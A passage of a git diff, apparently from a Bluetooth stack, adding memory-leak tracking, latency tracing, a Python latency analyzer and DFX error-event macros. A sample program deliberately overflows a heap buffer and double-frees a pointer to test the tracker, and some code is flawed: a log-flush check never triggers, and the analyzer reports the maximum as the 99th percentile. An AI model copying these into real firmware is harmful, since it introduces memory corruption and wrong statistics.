node->size; + *pp = node->next; + found = true; + free(node); + break; + } + pp = &(*pp)->next; + } + + pthread_mutex_unlock(&mem_manager->list_lock); + + if (!found) { + syslog(LOG_ALERT, "[bt_memory] Freeing unallocated memory %p", ptr); + assert(0); + } +} + +void bt_report_leak(void) +{ + bt_mem_manager_t* mem_manager = &g_mem_manager; + bt_mem_node_t* node; + + pthread_mutex_lock(&mem_manager->list_lock); + + syslog(LOG_ALERT, "[bt_memory] ===== Memory Leak Report ====="); + syslog(LOG_ALERT, "[bt_memory] Peak memory: %zu bytes", mem_manager->peak_mem); + + node = mem_manager->mem_list; + while (node) { + syslog(LOG_ALERT, "[bt_memory] Leak %p (%zu bytes) at %s:%d", + node->addr, node->size, node->file, node->line); + node = node->next; + } + syslog(LOG_ALERT, "[bt_memory] ===== End of Report ====="); + + pthread_mutex_unlock(&mem_manager->list_lock); +} diff --git a/debug/bt_memory_sample.c b/debug/bt_memory_sample.c new file mode 100644 index 0000000000000000000000000000000000000000..29d359d67a23558f47f65d6efadfa099211b0ecc --- /dev/null +++ b/debug/bt_memory_sample.c @@ -0,0 +1,53 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdio.h> +#include <string.h> + +#include "bt_memory.h" + +void test_leak() +{ + void* p1 = bt_malloc(128); + void* p2 = bt_malloc(256); +} + +void test_overflow() +{ + char* buf = (char*)bt_malloc(16); + memset(buf, 0, 20); + bt_free(buf); +} + +void test_double_free() +{ + void* p = bt_malloc(64); + bt_free(p); + bt_free(p); +} + +int main() +{ + test_leak(); + + test_overflow(); + + test_double_free(); + + void* p2 = bt_malloc(500); + + bt_report_leak(); + return 0; +} \ No newline at end of file diff --git a/debug/bt_trace.c b/debug/bt_trace.c new file mode 100644 index 0000000000000000000000000000000000000000..398688e8b9c426a32d90dce6339045edb22242d6 --- /dev/null +++ b/debug/bt_trace.c @@ -0,0 +1,111 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include "bt_sched_trace.h" + +#include <stdatomic.h> +#include <stdio.h> +#include <string.h> +#include <time.h> +#include <unistd.h> + +#include "utils/log.h" + +#define DUMP_THRESHOLD 256 + +typedef struct { + char tag[MAX_TAG_LEN]; + uint64_t timestamp; + uint32_t latency_us; +} bt_latency_record_t; + +typedef struct { + bt_latency_record_t buffer[CONFIG_BLUETOOTH_TRACE_BUFFER_SIZE]; + atomic_uint head; + atomic_uint tail; +} bt_trace_manager_t; + +static bt_trace_manager_t g_trace_manager = { 0 }; + +static inline uint64_t get_monotonic_ns() +{ + struct timespec ts; + clock_gettime(CLOCK_MONOTONIC, &ts); + return (uint64_t)ts.tv_sec * 1000000000UL + ts.tv_nsec; +} + +void bt_note_start(void) +{ + bt_trace_manager_t* trace_manager = &g_trace_manager; + + atomic_store(&trace_manager->head, 0); + atomic_store(&trace_manager->tail, 0); +} + +void bt_note_stop(void) +{ + bt_trace_manager_t* trace_manager = &g_trace_manager; + char log_buf[DUMP_THRESHOLD]; + int written = 0; + + while (trace_manager->tail != trace_manager->head) { + bt_latency_record_t* p = &trace_manager->buffer[trace_manager->tail % CONFIG_BLUETOOTH_TRACE_BUFFER_SIZE]; + + written += snprintf(log_buf + written, sizeof(log_buf) - written, + "[TAG=%s][TS=%lu][LAT=%uus]\n", + p->tag, p->timestamp, p->latency_us); + trace_manager->tail = (trace_manager->tail + 1) % CONFIG_BLUETOOTH_TRACE_BUFFER_SIZE; + written = written % DUMP_THRESHOLD; + + if (written > DUMP_THRESHOLD) { + BT_LOGD("%s", log_buf); + written = 0; + } + } + + if (written > 0) { + BT_LOGD("%s", log_buf); + } +} + +void bt_note_begin(const char* tag, bt_timepoint_t* point) +{ + if (strlen(tag) > MAX_TAG_LEN) { + BT_LOGD("tag is too long, max length is %d\n", MAX_TAG_LEN); + return; + } + + strlcpy(point->tag, tag, MAX_TAG_LEN); + point->start_ns = get_monotonic_ns(); +} + +void bt_note_end(const char* tag, bt_timepoint_t* point) +{ + bt_trace_manager_t* trace_manager = &g_trace_manager; + uint64_t end; + uint32_t idx; + + if (strlen(tag) > MAX_TAG_LEN) { + BT_LOGD("tag is too long, max length is %d\n", MAX_TAG_LEN); + return; + } + + end = get_monotonic_ns(); + idx = atomic_fetch_add(&trace_manager->head, 1) % CONFIG_BLUETOOTH_TRACE_BUFFER_SIZE; + strlcpy(trace_manager->buffer[idx].tag, point->tag, MAX_TAG_LEN); + + trace_manager->buffer[idx].timestamp = end; + trace_manager->buffer[idx].latency_us = (end - point->start_ns) / 1000; +} \ No newline at end of file diff --git a/debug/bt_trace_analyzer.py b/debug/bt_trace_analyzer.py new file mode 100644 index 0000000000000000000000000000000000000000..bfc15e3bf9d08371eb4db296ddfb5a15c954433c --- /dev/null +++ b/debug/bt_trace_analyzer.py @@ -0,0 +1,124 @@ +############################################################################ +# Copyright (C) 2025 Xiaomi Corporation +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +############################################################################ +import re +import argparse +import pandas as pd +import matplotlib.pyplot as plt +from datetime import datetime +from pathlib import Path + +def parse_args(): + parser = argparse.ArgumentParser(description='Latency log analyzer with tag support') + parser.add_argument('--log', required=True, + help='Input log file path') + parser.add_argument('--output-img', default='latency_by_tag.png', + help='Output image path (default: latency_by_tag.png)') + parser.add_argument('--output-report', + help='Output report file path (optional)') + return parser.parse_args() + +def parse_log_line(line): + pattern = r"\[TAG=([^$$]+)\]\[TS=(\d+)\]\[LAT=(\d+)us\]" + + if match := re.search(pattern, line): + return { + "tag": match.group(1), + "timestamp": datetime.fromtimestamp(int(match.group(2))/1e9), + "latency": int(match.group(3)) + } + return None + +def load_log_data(log_path): + try: + with open(log_path, 'r') as f: + records = [] + for line in f: + if record := parse_log_line(line.strip()): + records.append(record) + return pd.DataFrame(records) + except FileNotFoundError: + raise SystemExit(f"Error: Log file {log_path} not found") + + +def generate_latency_plot(df, output_path): + plt.figure(figsize=(15, 8)) + colors = plt.cm.tab10.colors + + for idx, (tag, group) in enumerate(df.groupby('tag')): + group = group.sort_values('timestamp') + plt.plot(group['timestamp'], group['latency'], + color=colors[idx % 10], + marker='o', markersize=3, + linestyle='-', linewidth=1, + label=tag) + + plt.title('Latency Timeline by Tag') + plt.xlabel('Timestamp') + plt.ylabel('Latency (μs)') + plt.legend(loc='upper left', bbox_to_anchor=(1, 1)) + plt.grid(True, alpha=0.3) + plt.xticks(rotation=45) + plt.tight_layout() + + Path(output_path).parent.mkdir(parents=True, exist_ok=True) + plt.savefig(output_path, dpi=300, bbox_inches='tight') + plt.close() + +def generate_stat_report(df, output_path=None): + stats = [] + for tag, group in df.groupby('tag'): + desc = group['latency'].describe(percentiles=[.5, .95, .99]) + stats.append({ + 'Tag': tag, + 'Count': desc['count'], + 'Mean': desc['mean'], + 'Min': desc['min'], + '50%': desc['50%'], + '95%': desc['95%'], + '99%': desc['max'], + 'Max': desc['max'] + }) + + report_df = pd.DataFrame(stats) + report_str = report_df.to_string(index=False, float_format='%.2f') + + if output_path: + Path(output_path).parent.mkdir(parents=True, exist_ok=True) + with open(output_path, 'w') as f: + f.write("=== Latency Statistics Report ===\n") + f.write(report_str) + print(f"Report saved to {output_path}") + else: + print("\n" + report_str) + +def main(): + args = parse_args() + + df = load_log_data(args.log) + if df.empty: + raise SystemExit("Error: No valid records found in log file") + + generate_latency_plot(df, args.output_img) + print(f"Visualization saved to {args.output_img}") + + if args.output_report: + generate_stat_report(df, args.output_report) + else: + generate_stat_report(df) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/debug/bt_trace_sample.c b/debug/bt_trace_sample.c new file mode 100644 index 0000000000000000000000000000000000000000..d5f2dd1bca857706eea2e5cd167086b7526083e5 --- /dev/null +++ b/debug/bt_trace_sample.c @@ -0,0 +1,54 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include "bt_sched_trace.h" + +#include <stdlib.h> + +void test_func1() +{ + bt_timepoint_t tp1; + + bt_trace_begin("test_func1", &tp1); + usleep(rand() % 1000); + bt_trace_end("test_func1", &tp1); +} + +void test_func2() +{ + bt_timepoint_t tp1; + + bt_trace_begin("test_func2", &tp1); + usleep(rand() % 1000); + bt_trace_end("test_func2", &tp1); +} + +int main(int argc, char* argv[]) +{ + + bt_trace_start(); + + test_func1(); + test_func2(); + + test_func1(); + test_func2(); + + test_func1(); + test_func2(); + + bt_trace_stop(); + return 0; +} \ No newline at end of file diff --git a/debug/latency_by_tag.png b/debug/latency_by_tag.png new file mode 100644 index 0000000000000000000000000000000000000000..a0eb147da1bb08fd4348fba3020566b558d3f2ac Binary files /dev/null and b/debug/latency_by_tag.png differ diff --git a/dfx/bt_dfx.h b/dfx/bt_dfx.h new file mode 100644 index 0000000000000000000000000000000000000000..79229f97e90bff77ecade7bec76a20cd921bfadf --- /dev/null +++ b/dfx/bt_dfx.h @@ -0,0 +1,277 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef _BT_DFX_H_ +#define _BT_DFX_H_ + +#if defined(CONFIG_DFX) && defined(CONFIG_DFX_EVENT) +#include <dfx_debug.h> +#include <dfx_event.h> +#endif + +#include "bt_dfx_event.h" +#include "bt_dfx_reason.h" + +// br +#if defined(CONFIG_BLUETOOTH_DFX) && defined(CONFIG_BLUETOOTH_BREDR_SUPPORT) +#define BT_DFX_SEND_BR_EVENT(...) sendEventMisightF(__VA_ARGS__) +#else +#define BT_DFX_SEND_BR_EVENT(...) +#endif + +#define BT_DFX_BR_GAP_INQUIRY_ERROR(reason) \ + do { \ + BT_LOGE("BT_DFX: brInquiryError: %s", reason); \ + BT_DFX_SEND_BR_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_BR_GAP, BT_DFXC_BR_GAP_INQUIRY), \ + "%s:%s", "brInquiryError", reason); \ + } while (0) + +#define BT_DFX_BR_GAP_CONN_ERROR(reason) \ + do { \ + BT_LOGE("BT_DFX: brConnectError: %s", reason); \ + BT_DFX_SEND_BR_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_BR_GAP, BT_DFXC_BR_GAP_CONN), \ + "%s:%s", "brConnectError", reason); \ + } while (0) + +#define BT_DFX_BR_GAP_DISCONN_ERROR(reason) \ + do { \ + BT_LOGE("BT_DFX: brDisconnectError: %s", reason); \ + BT_DFX_SEND_BR_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_BR_GAP, BT_DFXC_BR_GAP_DISCONN), \ + "%s:%s", "brDisconnectError", reason); \ + } while (0) + +#define BT_DFX_BR_GAP_PAIR_ERROR(reason) \ + do { \ + BT_LOGE("BT_DFX: brPairError: %s", reason); \ + BT_DFX_SEND_BR_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_BR_GAP, BT_DFXC_BR_GAP_PAIR), \ + "%s:%s", "brPairError", reason); \ + } while (0) + +// ble +#if defined(CONFIG_BLUETOOTH_DFX) && defined(CONFIG_BLUETOOTH_BLE_SUPPORT) +#define BT_DFX_SEND_LE_GAP_EVENT(...) sendEventMisightF(__VA_ARGS__) +#else +#define BT_DFX_SEND_LE_GAP_EVENT(...) +#endif + +#ifdef CONFIG_BLUETOOTH_BLE_SCAN +#define BT_DFX_LE_GAP_SCAN_ERROR(reason) \ + do { \ + BT_LOGE("BT_DFX: bleScanError: %s", reason); \ + BT_DFX_SEND_LE_GAP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_LE_GAP, BT_DFXC_LE_GAP_SCAN), \ + "%s:%s", "bleScanError", reason); \ + } while (0) +#endif + +#define BT_DFX_LE_GAP_CONN_ERROR(reason) \ + do { \ + BT_LOGE("BT_DFX: bleConnectError: %s", reason); \ + BT_DFX_SEND_LE_GAP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_LE_GAP, BT_DFXC_LE_GAP_CONN), \ + "%s:%s", "bleConnectError", reason); \ + } while (0) + +#define BT_DFX_LE_GAP_DISCONN_ERROR(reason) \ + do { \ + BT_LOGE("BT_DFX: bleDisconnectError: %s", reason); \ + BT_DFX_SEND_LE_GAP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_LE_GAP, BT_DFXC_LE_GAP_DISCONN), \ + "%s:%s", "bleDisconnectError", reason); \ + } while (0) + +#define BT_DFX_LE_GAP_PAIR_ERROR(reason) \ + do { \ + BT_LOGE("BT_DFX: blePairError: %s", reason); \ + BT_DFX_SEND_LE_GAP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_LE_GAP, BT_DFXC_LE_GAP_PAIR), \ + "%s:%s", "blePairError", reason); \ + } while (0) + +// spp +#if defined(CONFIG_BLUETOOTH_DFX) && defined(CONFIG_BLUETOOTH_SPP) +#define BT_DFX_SEND_SPP_EVENT(...) sendEventMisightF(__VA_ARGS__) +#else +#define BT_DFX_SEND_SPP_EVENT(...) +#endif + +#define BT_DFX_SPP_CONN_ERROR(reason) \ + do { \ + BT_LOGE("BT_DFX: btSppConnectError: %s", reason); \ + BT_DFX_SEND_SPP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_RFCOMM, BT_DFXC_SPP_CONN), \ + "%s:%s", "btSppConnectError", reason); \ + } while (0) + +#define BT_DFX_SPP_DISCONN_ERROR(reason, scn, port, role) \ + do { \ + BT_LOGE("BT_DFX: btSppDisconnected: %s, scn: %d, port: %d, role: %d", \ + reason, scn, port, role); \ + BT_DFX_SEND_SPP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_RFCOMM, BT_DFXC_SPP_DISCONN), \ + "%s:%s,%s:%d,%s:%d,%s:%s", "btSppDisconnected", reason, "scn", scn, \ + "port", port, "role", role); \ + } while (0) + +// a2dp +#if defined(CONFIG_BLUETOOTH_DFX) && defined(CONFIG_BLUETOOTH_A2DP) +#define BT_DFX_SEND_A2DP_EVENT(...) sendEventMisightF(__VA_ARGS__) +#else +#define BT_DFX_SEND_A2DP_EVENT(...) +#endif + +#define BT_DFX_A2DP_CONN_ERROR(reason) \ + do { \ + BT_LOGE("BT_DFX: btA2dpConnectError: %s", reason); \ + BT_DFX_SEND_A2DP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_A2DP, BT_DFXC_A2DP_CONN), \ + "%s:%s", "btA2dpConnectError", reason); \ + } while (0) + +#define BT_DFX_A2DP_MEDIA_ERROR(reason) \ + do { \ + BT_LOGE("BT_DFX: btA2dpMediaError: %s", reason); \ + BT_DFX_SEND_A2DP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_A2DP, BT_DFXC_A2DP_MEDIA), \ + "%s:%s", "btA2dpMediaError", reason); \ + } while (0) + +#define BT_DFX_A2DP_OFFLOAD_ERROR(reason) \ + do { \ + BT_LOGE("BT_DFX: btA2dpOffloadError: %s", reason); \ + BT_DFX_SEND_A2DP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_A2DP, BT_DFXC_A2DP_OFFLOAD), \ + "%s:%s", "btA2dpOffloadError", reason); \ + } while (0) + +// avrcp +#if defined(CONFIG_BLUETOOTH_DFX) && (defined(CONFIG_BLUETOOTH_AVRCP_CONTROL) || defined(CONFIG_BLUETOOTH_AVRCP_TARGET)) +#define BT_DFX_SEND_AVRCP_EVENT(...) sendEventMisightF(__VA_ARGS__) +#else +#define BT_DFX_SEND_AVRCP_EVENT(...) +#endif + +#define BT_DFX_AVRCP_CONN_ERROR(reason) \ + do { \ + BT_LOGE("BT_DFX: btAvrcpConnectError: %s", reason); \ + BT_DFX_SEND_AVRCP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_AVRCP, BT_DFXC_AVRCP_CONN), \ + "%s:%s", "btAvrcpConnectError", reason); \ + } while (0) + +#define BT_DFX_AVRCP_CTRL_ERROR(reason) \ + do { \ + BT_LOGE("BT_DFX: btAvrcpCtrlError: %s", reason); \ + BT_DFX_SEND_AVRCP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_AVRCP, BT_DFXC_AVRCP_CTRL), \ + "%s:%s", "btAvrcpCtrlError", reason); \ + } while (0) + +#define BT_DFX_AVRCP_VOL_ERROR(reason) \ + do { \ + BT_LOGE("BT_DFX: btAvrcpVolError: %s", reason); \ + BT_DFX_SEND_AVRCP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_AVRCP, BT_DFXC_AVRCP_VOL), \ + "%s:%s", "btAvrcpVolError", reason); \ + } while (0) + +// hfp +#if defined(CONFIG_BLUETOOTH_DFX) && (defined(CONFIG_BLUETOOTH_HFP_HF) || defined(CONFIG_BLUETOOTH_HFP_AG)) +#define BT_DFX_SEND_HFP_EVENT(...) sendEventMisightF(__VA_ARGS__) +#else +#define BT_DFX_SEND_HFP_EVENT(...) +#endif + +#define BT_DFX_HFP_CONN_ERROR(reason) \ + do { \ + BT_LOGE("BT_DFX: btHfpConnectError: %s", reason); \ + BT_DFX_SEND_HFP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_HFP, BT_DFXC_HFP_CONN), \ + "%s:%s", "btHfpConnectError", reason); \ + } while (0) + +#define BT_DFX_HFP_SCO_CONN_ERROR(reason) \ + do { \ + BT_LOGE("BT_DFX: btHfpScoConnectError: %s", reason); \ + BT_DFX_SEND_HFP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_HFP, BT_DFXC_HFP_SCO_CONN), \ + "%s:%s", "btHfpScoConnectError", reason); \ + } while (0) + +#define BT_DFX_HFP_VOL_ERROR(reason) \ + do { \ + BT_LOGE("BT_DFX: btHfpVolError: %s", reason); \ + BT_DFX_SEND_HFP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_HFP, BT_DFXC_HFP_VOL), \ + "%s:%s", "btHfpVolError", reason); \ + } while (0) + +#define BT_DFX_HFP_MEDIA_ERROR(reason) \ + do { \ + BT_LOGE("BT_DFX: btHfpMediaError: %s", reason); \ + BT_DFX_SEND_HFP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_HFP, BT_DFXC_HFP_MEDIA), \ + "%s:%s", "btHfpMediaError", reason); \ + } while (0) + +#define BT_DFX_HFP_OFFLOAD_ERROR(reason) \ + do { \ + BT_LOGE("BT_DFX: btHfpOffloadError: %s", reason); \ + BT_DFX_SEND_HFP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_HFP, BT_DFXC_HFP_OFFLOAD), \ + "%s:%s", "btHfpOffloadError", reason); \ + } while (0) + +// hid +#if defined(CONFIG_BLUETOOTH_DFX) && defined(CONFIG_BLUETOOTH_HID_DEVICE) +#define BT_DFX_SEND_HID_EVENT(...) sendEventMisightF(__VA_ARGS__) +#else +#define BT_DFX_SEND_HID_EVENT(...) +#endif + +#define BT_DFX_HID_CONN_ERROR(reason) \ + do { \ + BT_LOGE("BT_DFX: btHidConnectError: %s", reason); \ + BT_DFX_SEND_HID_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_HID, BT_DFXC_HID_CONN), \ + "%s:%s", "btHidConnectError", reason); \ + } while (0) + +// others +#if defined(CONFIG_BLUETOOTH_DFX) +#define BT_DFX_SEND_OTHERS_EVENT(...) sendEventMisightF(__VA_ARGS__) +#else +#define BT_DFX_SEND_OTHERS_EVENT(...) +#endif + +#define BT_DFX_SOCKET_ERROR(reason, port) \ + do { \ + BT_LOGE("BT_DFX: btSocketError: %s, port: %d", reason, port); \ + BT_DFX_SEND_OTHERS_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_OTHERS, BT_DFXC_SOCKET), \ + "%s:%s,%s:%d", "btSocketError", reason, "port", port); \ + } while (0) + +#define BT_DFX_IPC_CONN_ERROR(type, reason) \ + do { \ + BT_LOGE("BT_DFX: btIpcConnectError: %s, reason: %s", type, reason); \ + BT_DFX_SEND_OTHERS_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_OTHERS, BT_DFXC_IPC_CONN), \ + "%s:%s,%s:%s", "btIpcConnectError", type, "reason", reason); \ + } while (0) + +#define BT_DFX_IPC_ALLOC_ERROR(reason, packet_code) \ + do { \ + BT_LOGE("BT_DFX: btIpcAllocError: %s, packetCode: %" PRIu32, reason, packet_code); \ + BT_DFX_SEND_OTHERS_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_OTHERS, BT_DFXC_IPC_ALLOC), \ + "%s:%s,%s:%" PRIu32 "", "btIpcAllocError", reason, "packetCode", packet_code); \ + } while (0) + +#define BT_DFX_DRIVER_ERROR(type, name, reason) \ + do { \ + BT_LOGE("BT_DFX: btDriverError: %s, name: %s, reason: %s", type, name, reason); \ + BT_DFX_SEND_OTHERS_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_OTHERS, BT_DFXC_DRIVER), \ + "%s:%s,%s:%s,%s:%s", "btDriverError", type, "name", name, "reason", reason); \ + } while (0) + +#define BT_DFX_OPEN_ERROR(reason) \ + do { \ + BT_LOGE("BT_DFX: btOpenError: %s", reason); \ + BT_DFX_SEND_OTHERS_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_OTHERS, BT_DFXC_OPEN), \ + "%s:%s", "btOpenError", reason); \ + } while (0) + +#endif /* _BT_DFX_H_ */ \ No newline at end of file diff --git a/dfx/bt_dfx_event.h b/dfx/bt_dfx_event.h new file mode 100644 index 0000000000000000000000000000000000000000..86aa8cdcf681bfb1f14ea20b0098161e21c511bb --- /dev/null +++ b/dfx/bt_dfx_event.h @@ -0,0 +1,87 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef _BT_DFX_EVENT_H_ +#define _BT_DFX_EVENT_H_ + +// vela bluetooth event id +#define BT_DFX_BASE_VELA_BLUETOOTH (923020000) + +// event group +#define BT_DFXG_BR_GAP (0) +#define BT_DFXG_LE_GAP (500) +#define BT_DFXG_RFCOMM (1000) +#define BT_DFXG_L2CAP (1100) +#define BT_DFXG_GATT (1200) +#define BT_DFXG_A2DP (3000) +#define BT_DFXG_AVRCP (3200) +#define BT_DFXG_HFP (3400) +#define BT_DFXG_LE_AUDIO (4000) +#define BT_DFXG_HID (6000) +#define BT_DFXG_MESH (6100) +#define BT_DFXG_CHANNEL_SOUNDING (7000) +#define BT_DFXG_OTHERS (9000) + +// event subcode +// group: BT_DFXG_BR_GAP +#define BT_DFXC_BR_GAP_INQUIRY (0) +#define BT_DFXC_BR_GAP_CONN (100) +#define BT_DFXC_BR_GAP_DISCONN (110) +#define BT_DFXC_BR_GAP_PAIR (200) + +// group: BT_DFXG_LE_GAP +#define BT_DFXC_LE_GAP_SCAN (0) +#define BT_DFXC_LE_GAP_CONN (100) +#define BT_DFXC_LE_GAP_DISCONN (110) +#define BT_DFXC_LE_GAP_PAIR (200) + +// group: BT_DFXG_RFCOMM +#define BT_DFXC_SPP_CONN (0) +#define BT_DFXC_SPP_DISCONN (10) + +// group: BT_DFXG_A2DP +#define BT_DFXC_A2DP_CONN (0) +#define BT_DFXC_A2DP_MEDIA (10) +#define BT_DFXC_A2DP_OFFLOAD (20) + +// group: BT_DFXG_AVRCP +#define BT_DFXC_AVRCP_CONN (0) +#define BT_DFXC_AVRCP_CTRL (10) +#define BT_DFXC_AVRCP_VOL (20) + +// group: BT_DFXG_HFP +#define BT_DFXC_HFP_CONN (0) +#define BT_DFXC_HFP_SCO_CONN (10) +#define BT_DFXC_HFP_VOL (20) +#define BT_DFXC_HFP_MEDIA (30) +#define BT_DFXC_HFP_OFFLOAD (40) + +// group: BT_DFXG_HID +#define BT_DFXC_HID_CONN (0) + +// group: BT_DFXG_MESH + +// group: BT_DFXG_CHANNEL_SOUNDING + +// group: BT_DFXG_OTHERS +#define BT_DFXC_SOCKET (0) +#define BT_DFXC_IPC_CONN (10) +#define BT_DFXC_IPC_ALLOC (20) +#define BT_DFXC_DRIVER (100) +#define BT_DFXC_OPEN (200) + +#define BT_DFX_BUILD_CODE(group, subcode) ((BT_DFX_BASE_VELA_BLUETOOTH) + (group) + (subcode)) + +#endif /* _BT_DFX_EVENT_H_ */ \ No newline at end of file diff --git a/dfx/bt_dfx_reason.h b/dfx/bt_dfx_reason.h new file mode 100644 index 0000000000000000000000000000000000000000..eb066379fa3361cf220bc3d37f98851179079080 --- /dev/null +++ b/dfx/bt_dfx_reason.h @@ -0,0 +1,76 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef _BT_DFX_REASON_H_ +#define _BT_DFX_REASON_H_ + +// error reason +#define BT_DFXE_REPEATED_ATTEMPT "btRepeatedAttempt" +#define BT_DFXE_ADAPTER_STATE_NOT_ON "btAdapterStateNotOn" +#define BT_DFXE_PAGE_TIMEOUT "btPageTimeout" +#define BT_DFXE_CONN_TIMEOUT "btConnTimeout" +#define BT_DFXE_CONN_FAILED_TO_BE_ESTABLISHED "btConnFailedToBeEstablished" + +#define BT_DFXE_SCANNER_EXCEED_MAX_NUM "btScannerExceedMaxNum" + +#define BT_DFXE_SPP_NOT_STARTUP "btSppNotStartup" +#define BT_DFXE_SPP_SCN_ALLOC_FAIL "btSppScnAllocFail" +#define BT_DFXE_SPP_NO_RESOURCES "btSppNoResources" + +#define BT_DFXE_A2DP_CONN_TIMEOUT "btA2dpConnTimeout" +#define BT_DFXE_SET_A2DP_AVAILABLE_FAIL "btSetA2dpAvailableFail" +#define BT_DFXE_GET_A2DP_AVAILABLE_FAIL "btGetA2dpAvailableFail" + +#define BT_DFXE_OFFLOAD_START_TIMEOUT "btOffloadStartTimeout" +#define BT_DFXE_OFFLOAD_HCI_UNSPECIFIED_ERROR "btOffloadHciUnspecifiedError" + +#define BT_DFXE_GET_MEDIA_VOLUME_RANGE_FAIL "btGetMediaVolumeRangeFail" +#define BT_DFXE_SET_MEDIA_VOLUME_FAIL "btSetMediaVolumeFail" +#define BT_DFXE_SET_UI_VOLUME_FAIL "btSetUiVolumeFail" +#define BT_DFXE_MEDIA_PLAYER_CREATE_FAIL "btMediaPlayerCreateFail" +#define BT_DFXE_GET_STREAM_VOLUME_FAIL "btGetStreamVolumeFail" +#define BT_DFXE_MEDIA_SESSION_OPEN_FAIL "btMediaSessionOpenFail" +#define BT_DFXE_MEDIA_SESSION_SET_EVENT_CB_FAIL "btMediaSessionSetEventCbFail" +#define BT_DFXE_MEDIA_SESSION_START_FAIL "btMediaSessionStartFail" +#define BT_DFXE_MEDIA_SESSION_STOP_FAIL "btMediaSessionStopFail" +#define BT_DFXE_MEDIA_SESSION_PAUSE_FAIL "btMediaSessionPauseFail" +#define BT_DFXE_MEDIA_SESSION_NEXT_SONG_FAIL "btMediaSessionNextSongFail" +#define BT_DFXE_MEDIA_SESSION_PREV_SONG_FAIL "btMediaSessionPrevSongFail" + +#define BT_DFXE_HFP_AG_CONN_TIMEOUT "btHfpAgConnTimeout" +#define BT_DFXE_HFP_AG_CONN_RETRY_FAIL "btHfpAgConnRetryFail" +#define BT_DFXE_HFP_HF_CONN_TIMEOUT "btHfpHfConnTimeout" +#define BT_DFXE_HFP_HF_CONN_RETRY_FAIL "btHfpHfConnRetryFail" +#define BT_DFXE_SET_VOICE_CALL_VOLUME_FAIL "btSetVoiceCallVolumeFail" +#define 